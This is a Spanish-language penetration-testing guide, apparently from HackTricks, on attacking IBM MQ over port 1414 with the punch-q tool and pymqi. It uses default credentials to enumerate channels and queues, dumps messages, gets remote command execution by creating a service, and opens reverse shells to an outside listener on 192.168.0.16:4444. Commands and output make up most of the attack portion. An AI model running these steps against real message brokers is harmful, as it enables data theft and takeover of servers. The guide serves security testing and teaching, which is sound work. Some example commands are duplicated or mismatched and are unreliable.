1414 - Pentesting IBM MQ

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Información básica

IBM MQ es una tecnología de IBM para gestionar colas de mensajes. Al igual que otras tecnologías de message broker, está dedicada a recibir, almacenar, procesar y clasificar información entre productores y consumidores.

Por defecto, expone el puerto TCP 1414 de IBM MQ. A veces, la API REST HTTP puede estar expuesta en el puerto 9443. Las métricas (Prometheus) también podrían ser accesibles desde el puerto TCP 9157.

El puerto TCP 1414 de IBM MQ se puede utilizar para manipular mensajes, colas, canales, ... pero también para controlar la instancia.

IBM proporciona una amplia documentación técnica disponible en https://www.ibm.com/docs/en/ibm-mq.

Herramientas

Una herramienta sugerida para una explotación fácil es punch-q, con uso de Docker. La herramienta utiliza activamente la biblioteca de Python pymqi.

Para un enfoque más manual, utiliza la biblioteca de Python pymqi. Se necesitan dependencias de IBM MQ.

Instalando pymqi

Se necesitan instalar y cargar dependencias de IBM MQ:

  1. Crea una cuenta (IBMid) en https://login.ibm.com/.

  2. Descomprime (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).

  3. Ejecuta sudo ./mqlicense.sh para aceptar los términos de la licencia.

Si estás en Kali Linux, modifica el archivo mqlicense.sh: elimina/comenta las siguientes líneas (entre las líneas 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: Este paquete es incompatible con este sistema"
   echo "       Este paquete fue construido para ${BUILD_PLATFORM}"
   exit 1
fi
  1. Instala estos paquetes:

sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Luego, agrega temporalmente los archivos .so a LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, antes de ejecutar otras herramientas que usen estas dependencias.

Luego, puedes clonar el proyecto pymqi: contiene fragmentos de código interesantes, constantes, ... O puedes instalar directamente la biblioteca con: pip install pymqi.

Usando punch-q

Con Docker

Simplemente usa: sudo docker run --rm -ti leonjza/punch-q.

Sin Docker

Clona el proyecto punch-q y luego sigue el readme para la instalación (pip install -r requirements.txt && python3 setup.py install).

Después, se puede usar con el comando punch-q.

Enumeración

Puedes intentar enumerar el nombre del gestor de colas, los usuarios, los canales y las colas con punch-q o pymqi.

Gestor de Colas

A veces, no hay protección contra la obtención del nombre del Gestor de Colas:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Channels

punch-q está utilizando una lista de palabras interna (modificable) para encontrar canales existentes. Ejemplo de uso:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Sucede que algunas instancias de IBM MQ aceptan solicitudes MQ no autenticadas, por lo que --username / --password no son necesarios. Por supuesto, los derechos de acceso también pueden variar.

Tan pronto como obtenemos un nombre de canal (aquí: DEV.ADMIN.SVRCONN), podemos enumerar todos los demás canales.

La enumeración se puede realizar básicamente con este fragmento de código code/examples/dis_channels.py de pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... Pero punch-q también incorpora esa parte (¡con más información!). Se puede lanzar con:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Queues

Hay un fragmento de código con pymqi (dis_queues.py) pero punch-q permite recuperar más información sobre las colas:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Puedes apuntar a cola(s)/canal(es) para espiar / volcar mensajes de ellos (operación no destructiva). Ejemplos:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

No dudes en iterar sobre todas las colas identificadas.

Ejecución de código

Algunos detalles antes de continuar: IBM MQ se puede controlar a través de múltiples formas: MQSC, PCF, Control Command. Se pueden encontrar listas generales en la documentación de IBM MQ. PCF (Formatos de Comando Programables) es en lo que nos enfocamos para interactuar de forma remota con la instancia. punch-q y además pymqi se basan en interacciones PCF.

Puedes encontrar una lista de comandos PCF:

Un comando interesante es MQCMD_CREATE_SERVICE y su documentación está disponible aquí. Toma como argumento un StartCommand que apunta a un programa local en la instancia (ejemplo: /bin/sh).

También hay una advertencia sobre el comando en la documentación: "Atención: Este comando permite a un usuario ejecutar un comando arbitrario con autoridad mqm. Si se otorgan derechos para usar este comando, un usuario malicioso o descuidado podría definir un servicio que dañe sus sistemas o datos, por ejemplo, eliminando archivos esenciales."

Nota: siempre de acuerdo con la documentación de IBM MQ (Referencia de Administración), también hay un endpoint HTTP en /admin/action/qmgr/{qmgrName}/mqsc para ejecutar el comando MQSC equivalente para la creación de servicios (DEFINE SERVICE). Este aspecto aún no se cubre aquí.

La creación / eliminación de servicios con PCF para la ejecución de programas remotos se puede hacer mediante punch-q:

Ejemplo 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

En los registros de IBM MQ, puedes leer que el comando se ejecutó con éxito:

2023-10-10T19:13:01.713Z AMQ5030I: El comando '808544aa7fc94c48' ha comenzado. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

También puedes enumerar los programas existentes en la máquina (aquí /bin/doesnotexist ... no existe):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Ten en cuenta que el lanzamiento del programa es asíncrono. Así que necesitas un segundo elemento para aprovechar la vulnerabilidad (listener para reverse shell, creación de archivos en un servicio diferente, exfiltración de datos a través de la red ...)

Ejemplo 2

Para una reverse shell fácil, punch-q también propone dos payloads de reverse shell:

  • Uno con bash

  • Uno con perl

Por supuesto, puedes construir uno personalizado con el comando execute.

Para bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Para perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Custom PCF

Puedes profundizar en la documentación de IBM MQ y usar directamente la biblioteca de python pymqi para probar comandos PCF específicos que no están implementados en punch-q.

Example:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Si no puedes encontrar los nombres de las constantes, puedes consultar la documentación de IBM MQ.

Ejemplo para MQCMD_REFRESH_CLUSTER (Decimal = 73). Necesita el parámetro MQCA_CLUSTER_NAME (Decimal = 2029) que puede ser * (Doc: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Error")
else:
    print(response)

qmgr.disconnect()

Entorno de prueba

Si deseas probar el comportamiento y las explotaciones de IBM MQ, puedes configurar un entorno local basado en Docker:

  1. Tener una cuenta en ibm.com y cloud.ibm.com.

  2. Crear un IBM MQ en contenedor con:

sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

Por defecto, la autenticación está habilitada, el nombre de usuario es admin y la contraseña es passw0rd (variable de entorno MQ_ADMIN_PASSWORD). Aquí, el nombre del gestor de colas se ha establecido en MYQUEUEMGR (variable MQ_QMGR_NAME).

Deberías tener el IBM MQ en funcionamiento con sus puertos expuestos:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

La versión antigua de las imágenes de docker de IBM MQ está en: https://hub.docker.com/r/ibmcom/mq/.

Referencias

Last updated